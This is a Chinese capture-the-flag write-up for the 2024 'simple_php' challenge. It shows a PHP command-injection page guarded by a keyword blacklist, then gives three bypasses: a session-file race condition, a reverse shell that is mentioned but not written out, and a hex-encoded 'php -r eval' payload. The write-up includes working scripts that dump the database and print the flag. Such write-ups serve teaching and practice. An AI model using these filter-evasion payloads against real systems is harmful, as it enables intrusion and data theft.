国赛2024 simple_php(三种方法)
<?php
ini_set('open_basedir', '/var/www/html/');
error_reporting(0);
if(isset($_POST['cmd'])){
$cmd = escapeshellcmd($_POST['cmd']);
if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
system($cmd);
}
}
show_source(__FILE__);
?>
题目如上过滤了很多
方法一:
经过测试发现可以利用session文件包含
意思就是你传一个post请求包
他会生成一个临sess_+时文件
文件名即为/sess_+PHPSESSID值
临时文件在/tmp/sess_aaaa下
系统会删除这个文件
我们要在它删除之前去访问它(条件竞争)
直接post传cmd=php /tmp/sess_aaaa
两个文件同时去发包
在构建的post包123处写上想要执行的代码即可
<?php system('ls /');?>
执行后没找到flag
怀疑在数据库中
利用php脚本去链接数据库
<?php
// 建立连接
$conn = new mysqli("localhost", "root", "root");
// 检查连接
if ($conn->connect_error) {
die("连接失败: " . $conn->connect_error);
}
// 查询所有数据库名
$sql = "SHOW DATABASES";
$result = $conn->query($sql);
// 输出数据库名
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
echo "数据库名:" . $row["Database"] . "<br>";
}
} else {
echo "未找到数据库。";
}
// 关闭连接
$conn->close();
?>
成功
并且发现可疑数据库
继续查表
<?php
// 数据库连接信息
$servername = "localhost";
$username = "root";
$password = "root";
$dbname = "PHP_CMS";
// 创建连接
$conn = new mysqli($servername, $username, $password, $dbname);
// 检查连接
if ($conn->connect_error) {
die("连接失败: " . $conn->connect_error);
}
// 查询所有表名
$sql = "SHOW TABLES";
$result = $conn->query($sql);
// 输出表名
if ($result->num_rows > 0) {
echo "数据库 " . $dbname . " 中的表名:<br>";
while($row = $result->fetch_assoc()) {
echo $row["Tables_in_PHP_CMS"] . "<br>";
}
} else {
echo "该数据库中没有表。";
}
// 关闭连接
$conn->close();
?>
发现可疑表F1ag_Se3Re7
接着去查表中内容
<?php
// 数据库连接信息
$servername = "localhost";
$username = "root";
$password = "root";
$dbname = "PHP_CMS";
// 创建连接
$conn = new mysqli($servername, $username, $password, $dbname);
// 检查连接
if ($conn->connect_error) {
die("连接失败: " . $conn->connect_error);
}
// 查询 F1ag_Se3Re7 表中的内容
$sql = "SELECT * FROM F1ag_Se3Re7";
$result = $conn->query($sql);
// 输出内容
if ($result->num_rows > 0) {
echo "F1ag_Se3Re7 表中的内容:<br>";
while($row = $result->fetch_assoc()) {
// 输出每行数据
foreach ($row as $key => $value) {
echo $key . ": " . $value . "<br>";
}
echo "<br>";
}
} else {
echo "F1ag_Se3Re7 表中没有数据。";
}
// 关闭连接
$conn->close();
?>
得到flag
ctfshow{2c8541c2-ad6e-42a5-93c1-fe2e2fb1243c}
方法二:
和方法一类似
前提是你需要有一个服务器(我的服务器出了些问题就不演示了,有什么难点可以找我讨论)
还是用上面的方法
直接去反弹shell(反弹shell的命令网上有,用php的)
方法三:
这里的环境是比赛时的环境
过滤比较多
但还可以利用php -r
后面用编码绕过
目录中没有flag怀疑在数据库中
接下来连接数据库执行命令
先查库
<?php
$a="echo `mysql -u root -p'root' -e 'use PHP_CMS;show tables;'`;";
$b=bin2hex($a);
echo $b;
?>
结果:6563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d652027757365205048505f434d533b73686f77207461626c65733b27603b
查表
再查表中内容
<?php
$a="echo `mysql -u root -p'root' -e 'use PHP_CMS;show tables;select * from F1ag_Se3Re7;'`;";
$b=bin2hex($a);
echo $b;
?>
即可
cmd=php -r eval(hex2bin(substr(s6563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d652027757365205048505f434d533b73686f77207461626c65733b73656c656374202a2066726f6d20463161675f5365335265373b27603b,1)));
也可得到flag